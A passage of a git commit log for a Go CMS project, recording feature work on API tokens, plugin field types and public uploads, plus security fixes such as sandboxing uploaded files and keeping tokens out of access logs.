refused, docs, planning files and tests ignored.
2026-10-12 11:27:12 +02:00
bb5c2d32fa fix(14.2): WR-06 gate checks the seed secret stays private
The self-test feeds a planted token line through dev-stack.sh redact-seed
and refuses when the secret survives; --e2e refuses unless
tmp/dev-stack/seed.out has mode 600.
2026-10-12 11:25:42 +02:00
8b835f328f fix(14.2): WR-05 gate requires TestDevSeedRefusesForeignRows 2026-10-12 11:24:03 +02:00
01d2548ab3 fix(14.2): WR-04 validate storage.uploads.public_path_prefix at boot
The prefix was only trimmed. Without a leading slash ServeMux read its first
segment as a host pattern, so every upload silently answered 404, and a CDN
URL panicked in ServeMux and surfaced as a misleading route conflict. With
storage.uploads.serve on, BuildRouter now refuses a prefix that is not an
absolute URL path (scheme, host, query, fragment, whitespace, wildcard
braces, empty, . or .. segments, or a bare /) with an error naming the key.
2026-10-12 11:21:38 +02:00
41a03b9987 fix(14.2): WR-03 uploads route sandboxes files and downloads non-images
The route answered with the blob's stored Content-Type, which attach.Store
sniffs from the bytes, so a public text upload starting with <html> was
served as text/html on the application origin; nosniff does not help when
the declared type is already HTML. Every response now carries a sandboxing
Content-Security-Policy, and a successful response whose type is not a
raster image (JPEG, PNG, GIF, WebP, AVIF) gets Content-Disposition:
attachment, on GET and HEAD. Covers stay inline.
2026-10-12 11:20:43 +02:00
c30145ed25 fix(14.2): WR-02 499 only for a 5xx caused by the client going away
Every 5xx became 499 once the request context was cancelled, so a panic or
a real database error on a request the browser had abandoned passed the
phase gate's 5xx scan. Now a 5xx is logged as 499 only when the client had
already gone when the status was written and the handler did not panic;
recoverJSON and recoverBare mark the access log entry. Every record of an
abandoned request carries client_gone=true. The gate self-test plants a
5xx with client_gone=true and must refuse it.
2026-10-12 11:19:12 +02:00
fbcfaaf05f fix(14.2): WR-01 access log never records the URL path
An unmatched request logged its path. A token route reached with another
method (405) or with a trailing slash (404) is answered by ServeMux before
any route handler records the pattern, so the share or invitation token in
the path reached the log. The record now carries method, pattern, status
and duration only.
2026-10-12 11:17:51 +02:00
18a4ceabd2 docs(14.2): record code review disposition 2026-10-12 00:18:52 +02:00
6258663724 docs(14.2): add code review report 2026-10-12 00:18:37 +02:00
8c6db0a522 docs(14.2-04): complete unit tests and phase gate plan 2026-10-12 00:07:47 +02:00
78d72418cb test(14.2-04): check-phase14.2.sh docs, parity, contracts, guard and e2e stages
- --go: vet and test ./... in summercms.go, the fonoteka.go root module and
  the fonoteka plugin module, then the named console, plugin and surf tests
  through the skip-intolerant detector
- --parity requires the 175/175 TestParityCorpus summary
- --contracts blocks on the phase's Nuxt contract test and reports the
  whole suite (missing-catalog.test.mjs fails on HEAD before this phase)
- --guard plants guard-*.conf env files (:8422, unset internal origin,
  mismatched origins, plytarium.com, a fake PHP answer, another backend's
  marker) and requires a refusal for each, plus a SummerCMS control case
- --e2e brings the stack up when it is down, runs the Go-gate specs through
  e2e-verdict, the D-15 specs report-only, and scans go.log for a search
  engine failure or a 5xx record
- --self-test plants Playwright reports, Go logs and TAP summaries
2026-10-11 23:49:10 +02:00
2c5c0583f2 test(14.2-04): uploads mount and access log unit tests; the uploads route owns its prefix
- TestUploadsMount: key off registers nothing; on, a public blob is served
  with its content type and nosniff, HEAD has no body, private, missing,
  partition and encoded traversal paths 404, an unpublished bucket or
  database 404s, a custom prefix is honoured
- mountUploads refuses a plugin route at or under the prefix, so
  BuildRouter fails instead of only an identical pattern failing at
  Assemble (README and storage docs updated)
- TestAccessLog: pattern and status for 200, handler 404 and recovered
  panic, path only for unmatched requests, locale-prefixed requests keep
  the pattern, integer duration_ms, no query, header or Authorization
  value, ResponseController flush still works
2026-10-11 23:23:38 +02:00
46eee17143 test(14.2-04): check-phase14.2.sh runs the seed refusal through the skip-intolerant detector
- --self-test plants detector cases for every exit code and checks the modes
- --go runs the named console tests with go -C on the fonoteka.go workspace
2026-10-11 23:09:51 +02:00
dbdf15da76 docs(14.2-03): complete vue-fonoteka-app on Go backend plan 2026-10-11 23:06:04 +02:00
a2d19360d2 docs(14.2-03): PHP cross-check and re-verification recorded in UAT 2026-10-11 23:04:28 +02:00
b9de0610d7 docs(14.2-03): record the manual session, its findings and fixes in UAT 2026-10-11 20:34:55 +02:00
4660f95e5c fix(14.2-03): access log records a cancelled request's 5xx as 499
A client that goes away mid-request cancels the context; a handler then
fails on context.Canceled and writes a 500 nobody receives. The request
log now records it as 499 (client closed request) so a grep for 5xx shows
real server errors only.
2026-10-11 20:27:56 +02:00
66dbd5a64a docs(14.2-03): UAT record with the deferred PHP cross-check 2026-10-11 19:46:44 +02:00
48286b67b3 docs(17): create phase plan 2026-10-11 19:28:15 +02:00
05442174b6 docs(14.2-02): complete local stack start script plan 2026-10-11 19:08:45 +02:00
5c75b316a7 docs(17): UI design contract 2026-10-11 18:23:09 +02:00
3156baaf38 docs(phase-17): add validation strategy 2026-10-11 18:01:12 +02:00
ea8408e9e9 docs(17): research phase domain 2026-10-11 18:00:21 +02:00
2158db790c docs(14.2-01): record plan 01 progress in state and roadmap 2026-10-11 17:48:43 +02:00
d0eeb4d291 docs(14.2-01): complete Go-side local stack glue plan 2026-10-11 17:48:18 +02:00
2d68eab3c0 feat(14.2-01): opt-in http.access_log request log in surf
- one Info record "http request" per request with method, matched route
  pattern, status and duration_ms; path without the query only when no
  route matched
- the matched route records its pattern through a request-scoped entry,
  so locale prefix rewrites do not hide it
- logs through the published *slog.Logger or slog.Default; off by default
- surf README, logging and configuration docs describe the key
2026-10-11 17:42:51 +02:00
ad1fa5abfa docs(14.2-01): todo for sm-user-plugin commands that need a published database 2026-10-11 17:41:29 +02:00
0b6d757b40 feat(14.2-01): opt-in storage.uploads.serve route for public uploads
- surf mounts GET {storage.uploads.public_path_prefix}/{path...} on
  attach.StaticHandlerPublic when storage.uploads.serve is true
- bucket and database resolved per request; X-Content-Type-Options: nosniff
- surf README, storage and configuration docs describe the key
2026-10-11 17:36:54 +02:00
3408742fb0 test(10): persist human verification items as UAT 2026-10-11 17:13:01 +02:00
f31ea9387f docs(10): re-verify after go-stage fixes, phase 10 human_needed 2026-10-11 17:12:55 +02:00
77ca4b0b93 fix(scripts): skip the opt-in TestBootstrapEndToEnd in the check-phase10 go stage 2026-10-11 16:35:33 +02:00
fc7cfaf51c docs(10): re-verify after quick-261011-mag, hygiene closed, gaps_found on --all go stage 2026-10-11 16:29:35 +02:00
6c7434243e docs(quick-261011-mag): fix check-phase10.sh hygiene gaps from 10-VERIFICATION.md 2026-10-11 16:14:20 +02:00
1541cd4167 test(admin): import the untested SPA modules directly for check-phase10 hygiene
- mlLocale: type predicates, localeRecord, the ML_LOCALE_CHANGE broadcast
- MLField: locale switch, whole-map emit, broadcast follow, content-locale
- FileCaptionModal: prefill, save via FileRoutes.update, 422 stays, danger toast
- ApiTokensPanel and ApiTokenCreateDialog mounted directly next to the app tests
2026-10-11 16:13:19 +02:00
42b5cf887f fix(scripts): allow the files.ts upload XHR in check-phase10 hygiene
- network rule exempts only the line-anchored upload XHR in admin/src/api/files.ts
- api-listing rule exempts only the exact path admin/src/api/files.ts
- self-test plants an XHR elsewhere and an extra admin/src/api file
2026-10-11 16:08:19 +02:00
d2fa195a91 docs(10): re-verify stale phase 10 report, gaps_found on check-phase10 hygiene gate 2026-10-11 15:54:52 +02:00
07e579a264 docs(09): re-verify after quick-261011-kzi, phase 09 passed 2026-10-11 15:40:54 +02:00
be82bccfc3 docs(quick-261011-kzi): fix Phase 09 gaps (fonoteka route inventory, per-guard token throttle) 2026-10-11 15:21:03 +02:00
b45af8ebbf fix(cabana): scope the token last_used_at throttle to the guard instance
- The process-global debounce map was keyed by token ID, so a stamp from one test database suppressed a later write in another and turned TestBackendTokenPostgres red depending on order
- Each compositeGuard now owns a stampThrottle; the backend guard and the ResolveBackend guard of one activation share it, so a single-app binary still writes last_used_at at most once a minute per token
- TestTokenLastUsedThrottlePerGuard pins the per-guard isolation
2026-10-11 15:19:55 +02:00
21fdcfcba6 docs(09): re-verify stale phase 09 report, gaps_found on fonoteka route inventory 2026-10-11 15:03:11 +02:00
a3b502bfb9 docs: record -short test fix in STATE 2026-10-11 14:43:52 +02:00
c85cb64b6e docs: CLAUDE.md -short runs without Docker again 2026-10-11 14:43:40 +02:00
7ef2e4f6cb test: honour -short in Docker-backed TestMain and cabana list-service fixture
TestMain scanned os.Args for a literal -test.short, but go test passes
-test.short=true, so beachcomber, conga, lagoon and lighthouse started a
Postgres container even under -short. Parse the flags and use
testing.Short() instead; skip cabana's newListService fixture under -short
like adminGorm already does.
2026-10-11 14:43:40 +02:00
73af414793 docs: correct the Docker note for go test -short in CLAUDE.md 2026-10-11 14:35:56 +02:00
73074ee257 fix(admin): keep plugin rail and section panel sticky so Settings stays at the viewport bottom 2026-10-11 14:34:24 +02:00
ee6fc7a235 docs(quick-261011-joh): record passing Docker-backed test re-run 2026-10-11 14:31:46 +02:00
290713cce3 docs(quick-261011-joh): sieve generic collection helpers module 2026-10-11 14:28:16 +02:00
a0bf8ece05 feat(sieve): add the remaining collection helpers and docs mentions
- Add TryMap, Filter, Reduce, KeyBy, GroupBy, Uniq, UniqBy, Partition
  and Find, plus the Set type built with SetOf (Has, Add, Slice).
- Add unit tests at 100% statement coverage and a runnable example for
  every function and Set method.
- Complete the module README: contracts, use cases, Pluck rationale,
  standard-library pointers and the full API reference.
- docs/architecture/introduction.md: add a Utilities row for sieve.
- docs/setup/coming-from-wintercms.md: map Laravel collection methods
  to sieve and narrow the not-provided row to the fluent collection
  object.
2026-10-11 14:27:13 +02:00
6933004b87 feat(sieve): add sieve module with Map 2026-10-11 14:22:56 +02:00
b906bdd48b docs(phase-16.3): complete phase execution 2026-10-11 14:08:47 +02:00
5913337cda docs(16.3): verification passed after admin gate fix
Re-verify after d1b043a: SC-6 closed, check-phase16.3.sh --all green, score 6/6.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 14:08:06 +02:00
d1b043a361 test(16.3): retarget panel create test after WR-02 submit gate
Assert submit stays disabled with no scopes; keep the 422 focus path
with a selected scope so check-phase16.3.sh --all stays green.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 14:05:59 +02:00
502fae3e90 docs(16.3): mark WR-01 and WR-02 review findings fixed
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:53:50 +02:00
cb4b0a9c75 fix(16.3): disable Create token until a scope is selected
Client-side canSubmit now matches the 422 rule so Submit stays disabled
with an empty scope set (WR-02).

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:53:32 +02:00
a955d2a3d4 fix(16.3): refresh CSRF coverage golden and blog scaffold layout
Account token POST/DELETE routes made TestPhase10Coverage expect 32 unsafe
routes; token_scopes.go is hand-authored and excluded from the scaffold pin.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:53:31 +02:00
e368ae9c85 docs(16.3): record code review disposition 2026-10-11 13:48:56 +02:00
36b1bce5c5 docs(16.3): add code review report 2026-10-11 13:48:16 +02:00
f4395b57b7 docs(16.3-04): point STATE state_head at SUMMARY commit
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:42:12 +02:00
e565062479 docs(16.3-04): complete unit tests and phase gate plan
Record SUMMARY, advance STATE/ROADMAP to 4/4 plans executed, and
mark Phase 16.3 ready for verify-work after the gate passed.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:42:12 +02:00
463541549f docs(16.3): complete validation map with nyquist_compliant
Fill every 16.3-VALIDATION.md row from plan 04 results, tick Wave 0,
and set nyquist_compliant true after the phase gate passed.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:40:53 +02:00
9b811f6042 test(16.3): phase gate
Add scripts/check-phase16.3.sh with fail-closed go/admin/docs/postgres
stages, detector self-tests and NOT RUN postgres without Docker.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:37:30 +02:00
55999b2984 test(16.3-04): full SPA coverage for API tokens panel and dialog
Pin list states, row anatomy, revoke paths and create-dialog step 1/2
behaviours from the UI-SPEC, including plaintext lifetime backstops.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:36:17 +02:00
78124ab86f test(16.3-04): full Go coverage for tokens, guard, account API and CLI
Pin bouncer Scope serialization, party Activated order, lagoon migration,
compile/overlap/mint/expiry/validation, guard/debounce/resolver,
interactive-only, account token API and CLI on Postgres.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:32:11 +02:00
bdd393c15f docs: rewrite CLAUDE.md for MSD and the current repo layout 2026-10-11 13:28:15 +02:00
91830e506f test(16.3-04): pin deny-by-default contract at every layer
Scope match/Allows tables, route classification for every phase09Routes
entry, SPA plaintext lifetime backstops, and Postgres owner lifecycle.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 13:17:41 +02:00
c385dc79eb docs(16.3-03): complete Journal scopes and v0.1.21 release plan 2026-10-11 13:08:54 +02:00
2030fd881a fix(16.3-03): expect 32 CSRF-gated admin routes after token API
Account token create/revoke added two state-changing mounts; update the
Phase 10 CSRF walk count so the release gate inventory stays green.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:20:55 +02:00
60873a3fea docs(16.3-03): ExampleResolveBackend for plugin token auth
- Add compiled ResolveBackend example with acme.blog cover
- Include src= fence in authentication docs (Bearer-only)

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:17:43 +02:00
611f98e33b docs(16.3-02): advance STATE and ROADMAP after plan 02
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:08:18 +02:00
fd07e2637f docs(16.3-02): complete admin SPA API tokens card plan
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:07:48 +02:00
e17207a00d feat(16.3-02): dialog rules smoke tests and My account API tokens docs
Cover scope *, 422 focus, clipboard copy/fallback, close-without-copy
guard, and document the SPA tokens card on My account.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:06:43 +02:00
1c930b6ff7 feat(16.3-02): list states, show-revoked toggle, and revoke via ConfirmDialog
Add skeleton/empty/error coverage, revoked-row handling, ConfirmDialog
overflow wrap for long names, and rebuild boardwalk dist.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:04:54 +02:00
5a6a190e7f feat(16.3-02): tracer — API tokens card on My account with show-once create
Wire ApiTokensPanel after the profile form, add the two-step create dialog,
phrase keys, smoke tracer, and rebuilt boardwalk dist.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 02:02:44 +02:00
3f9d3b4f11 docs: sync todos with g15office and map phases to milestone tasks
Tag the 17 open todos with their g15office task IDs, close 7 todos that
are already done or promoted to Phase 16.3, and record the sync rules
and the phase-to-task map in .planning/G15OFFICE.md.
2026-10-11 02:01:50 +02:00
93a3112fb7 docs(16.3-01): advance STATE and ROADMAP after plan 01
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:56:26 +02:00
3019ab188b docs(16.3-01): complete framework personal API tokens plan
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:56:03 +02:00
e24e03c47d feat(16.3-01): admin:token CLI, party.Activated, READMEs and docs
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:55:07 +02:00
ffdb5d00ca feat(16.3-01): account token API with OpenAPI and phrase keys
- Add list/create/revoke/scopes handlers, validation, and soft revoke
- Regenerate admin OpenAPI and TS types; inventory and conformance cases
- Add server-side api_tokens phrase keys (en/pl)

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:51:11 +02:00
183583e0e9 feat(16.3-01): interactive-only gates, ResolveBackend, last_used stamp
- Refuse g15_ tokens on account/avatar/refresh/logout; gate field-types and markdown
- Publish cookie-less ResolveBackend; debounce last_used_at once per minute
- Reserve account vendor segment; TestTokenGatesSmoke covers the deny path

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:47:52 +02:00
b9273c1da7 feat(16.3-01): tracer — g15_ token scopes through composite backend guard
- Add pact.TokenScope/HasTokenScopes and bouncer.ScopeLimit on Principal
- Append backend_api_tokens migration; Allows evaluates scope before superuser
- Composite guard routes Bearer g15_… to token lookup; smoke tests cover path

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 01:46:32 +02:00
4d107f4ccb docs: capture todo - uploads keep the client extension (stored XSS, g15office bemfi2zs) 2026-10-11 01:35:37 +02:00
c53ae6a39b docs(16.3): create phase plan 2026-10-11 01:05:56 +02:00
1821f92bee docs: capture todo - prompt open tabs to reload when a new version is deployed 2026-10-11 01:05:05 +02:00
602e0412f3 docs: add a Role in the framework section to every module README
Each module README now says where the module sits in the dependency
graph, why it is its own module, and lists use cases for application
developers.
2026-10-11 00:58:17 +02:00
87953f68bf docs: capture exploration — wavepath framework asks as phases 19.2 to 19.6 2026-10-11 00:36:09 +02:00
ca1443e9c8 docs: add a name mnemonic to every module README and the root modules table 2026-10-11 00:26:20 +02:00
5e3c552aa1 docs(phase-16.3): add validation strategy 2026-10-11 00:18:10 +02:00
9907fa94cd docs(16.3): research phase domain 2026-10-11 00:17:32 +02:00
941ae80b86 docs(16.3): UI design contract 2026-10-11 00:05:21 +02:00
a04ba35271 docs(16.2): re-verify after gap closure 16.2-07 and UAT; phase complete
16.2-VERIFICATION.md passed 14/14: the five human items are resolved by the
16.2-07 gate log and the UAT re-run on v0.1.20 (16.2-UAT.md 5/5). covered_files
adds 16.2-07 PLAN/SUMMARY and openapi_conformance_test.go; digest recomputed
with verification.fingerprint. Re-verified by hand because msd-core 1.14.0
re-stales a report after gap closure and its verifier ignores passed UAT.
STATE points at 16.3 (phase.complete picked 11, an executed phase that is
only stale).
2026-10-10 23:39:54 +02:00
ed8210132e test(16.2): UAT complete - 5 passed after the 16.2-07 gap closure 2026-10-10 21:49:59 +02:00
e1703c7489 docs(16.2-07): complete gap closure plan; UAT Tests 2 and 3 pass on v0.1.20
Purge token set on UAT, restart at 2026-10-10T17:57:57Z, smoke, token-match
and purge-ok pass. posts-unchanged, translations-unchanged, category-purged
and category-fresh pass after the human re-saves. Debug sessions for
G-16.2-1 and G-16.2-2 resolved.
2026-10-10 21:05:47 +02:00
aba063f723 docs(16.2): route checklist names openapi_conformance_test.go; 16.2-07 rows in the validation map
- PATTERNS: one conformCase per new admin route, enforced by
  TestPhase10ConformanceInventory without Docker (G-16.2-1)
- VALIDATION: 16.2-07-T1 to T6 rows; the Docker-host suites now run in the
  gate's postgres stage instead of the Manual-Only table
2026-10-10 18:44:34 +02:00
ee624100ef test(16.2-07): gate requires the conformance inventory, the purge suites and a cache stage
- go stage: TestPhase10ConformanceInventory (Docker-free), and the Journal
  TestSiteCachePurgeConfig and TestSiteCachePurgeRequest by name
- postgres stage: TestPhase10OpenAPIConformance and the Journal
  TestCategoriesAdminPurgesSiteCache and TestPostsAdminPurgesSiteCache
- layer stage: the four site cache purge tests by name
- new cache stage: playground build, purge-check, then the acme SSR smoke
  on the same route-cached build
2026-10-10 18:44:34 +02:00
11be08d680 test(16.2-07): conformance cases for the field-types and field upload routes
- conformCases() lists every case at package level; checkConformInventory
  reports every missing, extra or duplicate key in one sorted failure
- TestPhase10ConformanceInventory runs it without a database, and
  TestPhase10OpenAPIConformance runs it before the testcontainers setup
- GET /field-types decodes into cabana.FieldTypesResponse and serves the
  fixture type's script; POST .../fields/{field}/upload answers 201
  cabana.Envelope[cabana.FieldUploadResponse] for a multipart part file
- the fixture plugin registers conformnote and the gadget form uses it,
  so create, update and show run its Decode and Load (G-16.2-1, D-13, D-18)
2026-10-10 18:33:03 +02:00
d0b7fe4571 docs(16.2): create gap closure plan 07 for G-16.2-1 and G-16.2-2 2026-10-10 17:56:56 +02:00
9447fedca0 docs(16.2): record the cache purge decision for G-16.2-2 2026-10-10 17:34:16 +02:00
6340bb0dbc docs(16.2): add root causes from diagnosis 2026-10-10 17:27:53 +02:00
ae1dc75a35 docs(16.2): diagnose G-16.2-2 category edit not on site (Nitro swr window) 2026-10-10 17:27:17 +02:00
b08e8bebba docs(16.2): diagnose G-16.2-1 postgres gate failure
Two 16.2 admin routes lack conformance cases and TestJournalSVGEmbed
still expects mlmarkdown; both hide in Docker-only test binaries.
2026-10-10 17:22:11 +02:00
1534b5744b test(16.2): UAT - 2 passed, 2 issues, 1 blocked on the v0.1.19 deploy 2026-10-10 17:16:44 +02:00
cf10ce8838 test(16.2): persist human verification items as UAT 2026-10-10 16:54:46 +02:00
1ef7245263 docs(16.2): add phase verification report 2026-10-10 16:54:13 +02:00
3533937cc9 docs(16.2): add code review fix report 2026-10-10 16:48:33 +02:00
f388d27604 fix(16.2): WR-06 hand a translatable Decode only strings
liftMLValues validated only object-shaped submissions, so a scalar
submitted for a translatable plugin field reached Decode as nil, a
float64 or a bool although pact promises a string; a type that asserts
a string panicked into an opaque 500. decodePluginFields now passes a
string through, turns null into the empty string and refuses any other
value with a 422 on the field before Decode runs.
2026-10-10 16:45:05 +02:00
c532529d18 fix(16.2): WR-02 check the whole upload body before Upload stores it
The route called the type's Upload on the streamed part and only then
checked that no second part followed, so a refused request left a
public, unreferenced object in the bucket. It now reads the multipart
body whole (ReadForm, spooling past 8 MiB to a temporary file), checks
it holds exactly one file part named file, and only then calls Upload.
The remaining window (a failed record transaction after Upload, an
element that stopped waiting) is documented.
2026-10-10 16:43:59 +02:00
3158bb5b57 fix(16.2): WR-01 check the declared save before a field upload
The field upload route ran only protect, so the create form of a
controller without the create toolbar button could still write files to
the public bucket. It now refuses with 403 where the save route would:
create for {id} 0, update otherwise (operationDeclared).
2026-10-10 16:42:28 +02:00
9899ac61dd docs(16.2): add code review report 2026-10-10 16:30:51 +02:00
85a12e3296 docs(16.2-06): update state and roadmap after plan 06 2026-10-10 16:21:52 +02:00
9652834ca0 docs(16.3): insert phase 16.3 and promote the API tokens todo 2026-10-10 16:21:35 +02:00
7c5174eea7 docs(16.2-06): complete unit coverage and phase gate plan 2026-10-10 16:18:35 +02:00
7e113013a3 docs(16.2): complete the validation map 2026-10-10 16:13:21 +02:00
3da2fd65b0 test(16.2): phase gate
Fail-closed stages go, admin, editor, layer, docs and postgres with go,
vitest-JSON and TAP detectors, the editor corpus copy comparison and a
self-test that proves each fails on planted output. --all runs postgres
only when a Docker daemon answers and otherwise prints a loud NOT RUN
notice; PHASE162_REQUIRE_POSTGRES=1 makes that a failure.
2026-10-10 16:12:19 +02:00
9f5e807af6 test(16.2-06): admin SPA coverage of plugin field types and View site
- fieldTypes: one load per script URL, failed and refused scripts
  reported, global styles enabled on every screen, empty list on failure
- registry, formState, FormField and ListView: plugin renderers, locale
  maps, notices as literal text, unknown column types as text
- AppShell: the View site link's href, target, rel and en/pl label
2026-10-10 16:03:07 +02:00
3404a4b3ad test(16.2-06): full unit coverage of the plugin field type framework
- pact: FormFieldError message joining, nil pointer, funcs never serialized
- cabana: registry and option boot rules, compile (option kinds, general
  and core keys, CompileForm vs CompileFormWithTypes, settings and relation
  refusal), decode 422/500 split, localized and capped notices, Load,
  ListValue with the request ctx, field writes, field-types and upload
  routes
- TestFieldTypeSavePostgres (Docker host): create, show, untouched and
  changed update, refused update, upload in and out of the record scope
2026-10-10 15:49:35 +02:00
08a20021e3 test(16.2-06): pin the untouched-value skip in cabana and PluginField
- TestFieldTypeUntouched: served values skip Decode, writes and notices;
  one changed locale writes and reports only that locale; canonical JSON
  comparison; a create never skips
- PluginField: an element that echoes its value on connect is never
  written a second time
2026-10-10 15:42:31 +02:00
c07da3912b docs(16.3): capture phase context 2026-10-10 15:33:02 +02:00
4e0b31feb2 docs(16.2): preview pane and View site deploy to UAT 2026-10-10 14:52:06 +02:00
b5c70b7340 docs(16.2): post 1 untouched re-save proof on UAT 2026-10-10 14:05:06 +02:00
684bfe1dc8 docs(fast): log View site link 2026-10-10 14:01:49 +02:00
85fe541b03 feat(admin): View site link next to the user menu
Opens the admin origin's root in a new tab, like the WinterCMS backend.
2026-10-10 14:01:44 +02:00
ea42f04ae0 docs(quick-261010-iwu): Blog Editor live preview pane 2026-10-10 13:59:10 +02:00
ea955b39ae docs(16.2-05): update state, roadmap and windows ledger after plan 05 2026-10-10 13:36:19 +02:00
aba1ef7391 docs(16.2-05): complete Blog Editor release and UAT acceptance plan 2026-10-10 13:35:44 +02:00
f1d8a757fd docs(16.2-04): update state and roadmap after plan 04 2026-10-10 13:07:31 +02:00
2786faade3 docs(16.2-04): complete Journal embeds layer release plan 2026-10-10 13:07:11 +02:00
ffa6d18474 docs(16.2-03): update state and roadmap after plan 03 2026-10-10 12:13:59 +02:00
2a7e9761a4 docs(16.2-03): complete Journal Blog Editor integration plan 2026-10-10 12:13:26 +02:00
332993c909 docs(16.2): record the editor-output policy extension 2026-10-10 12:11:30 +02:00
685cfc21cd docs(16.2-02): complete blog editor element plan
- SUMMARY with the package report, the human reply, installed versions,
  sm-journal-plugin commits and bundle size
- STATE, ROADMAP and the broken-windows ledger updated
2026-10-10 11:55:28 +02:00
5600c02a73 docs(16.2-01): update state and roadmap after plan 01 2026-10-10 11:28:33 +02:00
8237b7a19f docs(16.2-01): complete plugin field type framework plan 2026-10-10 11:27:58 +02:00
4adb48a76e feat(16.2-01): translatable plugin fields, element uploads and save notices in the admin
- MLPluginField wraps PluginField in the MLField locale switcher; the
  element gets the active content locale and that locale's string
- isMLField treats a translatable plugin field as a locale map in the form
  state, FormView adopt and the relation child modal
- summer-upload posts the file with the admin session to the field upload
  route and answers summer-upload-result {id, url} or {id, error}
- noticeLines shows meta.notices under each field as a warning status line
  (text only) and in the saved toast; the stored value is reloaded
- docs/backend/field-types.md documents the full element contract;
  modules/boardwalk/dist rebuilt
2026-10-10 11:25:26 +02:00
8fa92db96d feat(16.2-01): translatable plugin field types, untouched skip, writes, list values and uploads
- translatable types lift, store and hydrate through the ML path
  (isMLField); Decode and Load run per locale and notices carry the locale
- on update a value equal to the served value (Load of the stored host
  value or exact translation) is neither decoded nor written
- FieldWrite, FieldWritesFromContext and WithFieldWrites expose what a save
  writes to the Form hooks
- list columns may use a plugin alias and show the type's ListValue
- POST .../{id}/fields/{field}/upload hands the file to the type's Upload
  (guard, X-Requested-With, permissions, field context, record scope, body
  cap); OpenAPI, route inventories, README and docs updated
2026-10-10 11:19:24 +02:00
83fa2f7b2c feat(16.2-01): host plugin field type elements in the admin SPA
- loadFieldTypes fetches GET /field-types after sign-in, loads each script
  once and adds the styles as global links activateStyles never disables
- PluginField creates the type's element, sets the value property and the
  contract attributes, takes summer-change as the form value and never
  writes back a value the element just emitted
- rendererForField and isRegisteredField route any field with an element
  to PluginField in forms, previews and the save payload
- rebuilt modules/boardwalk/dist
2026-10-10 11:10:41 +02:00
717d46ec3d feat(16.2-01): compile, decode and load plugin field types in cabana
- compileFieldTypes builds a per-boot field type registry (alias, core and
  cross-plugin collisions, element prefix, assets, option keys) passed down
  the compile functions; settings and relation forms refuse plugin aliases
- fields.yaml accepts a plugin alias with the general keys plus the type's
  options (typeOptions, element, translatable in the schema); CheckOptions
  runs at boot; CompileFormWithTypes for plugin tests
- save decodes plugin values inside the transaction (FormFieldError is a
  422, other errors opaque 500) and answers meta.notices (FieldNotice) only
  when a type reported something; show and save serve values through Load
- GET /field-types lists the types with versioned asset URLs; OpenAPI,
  schema.d.ts, README and docs/backend/field-types.md updated
2026-10-10 11:06:12 +02:00
1e20ace15c feat(16.2-01): add the pact plugin field type API
- pact.HasFormFieldTypes and pact.FormFieldType: a plugin registers admin
  form field types under a short alias, with element, assets, options and
  CheckOptions/Decode/Load/ListValue/Upload funcs
- FormFieldValue, FormFieldDecoded (value plus notices), FormFieldNotice,
  FormFieldUpload, FormFieldUploadResult and FormFieldError
- ListValue takes the request context: func(ctx, value) string
2026-10-10 11:03:01 +02:00
0754a6e5ab docs(16.2): revise phase plans after phase 16.1 2026-10-10 02:27:05 +02:00
94900f233b docs(16.2): amend D-10 to strip on every admin save, categories included 2026-10-10 01:57:55 +02:00
9656bab214 docs(phase-16.1): complete phase — UAT passed, verification passed 2026-10-10 01:49:19 +02:00
433a543f85 test(16.1): UAT item 1 passed — hardened vhost installed on UAT 2026-10-10 01:42:52 +02:00
f734d25d05 test(16.1): persist human verification items as UAT 2026-10-10 00:58:42 +02:00
967449bf62 docs(16.1): add phase verification; record Docker-host suites green 2026-10-10 00:58:28 +02:00
c21fe36de7 docs(16.1): record translation and duplicate-attribute sanitizing; close audit warnings 2026-10-10 00:14:14 +02:00
17d467e9c2 docs(phase-16.1): add security threat verification; fix stale validation row 2026-10-10 00:07:06 +02:00
60892ad49b docs(16.2): create phase plan 2026-10-09 23:55:01 +02:00
cd25af0878 fix(admin): scope remembered list state to the signed-in admin and recover from bad restored queries
- Store list queries under summer-admin.list:<admin id>:<controller>; me()
  and setCurrentUser set the owner, which removes other admins' keys and
  the unscoped keys of older builds; nothing is read or written without one
- clearUser removes every stored query, so logout, session expiry and an
  unrecoverable 401 (expireSession, now used by main.ts) all clear them
- A list request built from a restored query that fails for any reason
  (422, 500, network) forgets the query and loads the plain list once
- A failing URL query keeps the error and offers a reset button
  (backend::lang.list.reset_list, en and pl)
- Document remembered list state in docs/backend/lists-and-filters.md
- Rebuild modules/boardwalk/dist
2026-10-09 23:53:19 +02:00
5be98a0c83 docs(16.1): decide bluemonday for journal HTML sanitizing 2026-10-09 23:35:17 +02:00
cd076b881d docs(16.1): add code review report 2026-10-09 23:22:14 +02:00
b319b59989 docs(16.2): map phase patterns 2026-10-09 23:17:15 +02:00
1920ea6462 docs(phase-16.2): add validation strategy 2026-10-09 23:11:57 +02:00
99dd072f07 docs(16.2): research phase domain 2026-10-09 23:11:04 +02:00
b4adf751c8 docs(16.1-03): update state and roadmap after plan 03 2026-10-09 22:52:51 +02:00
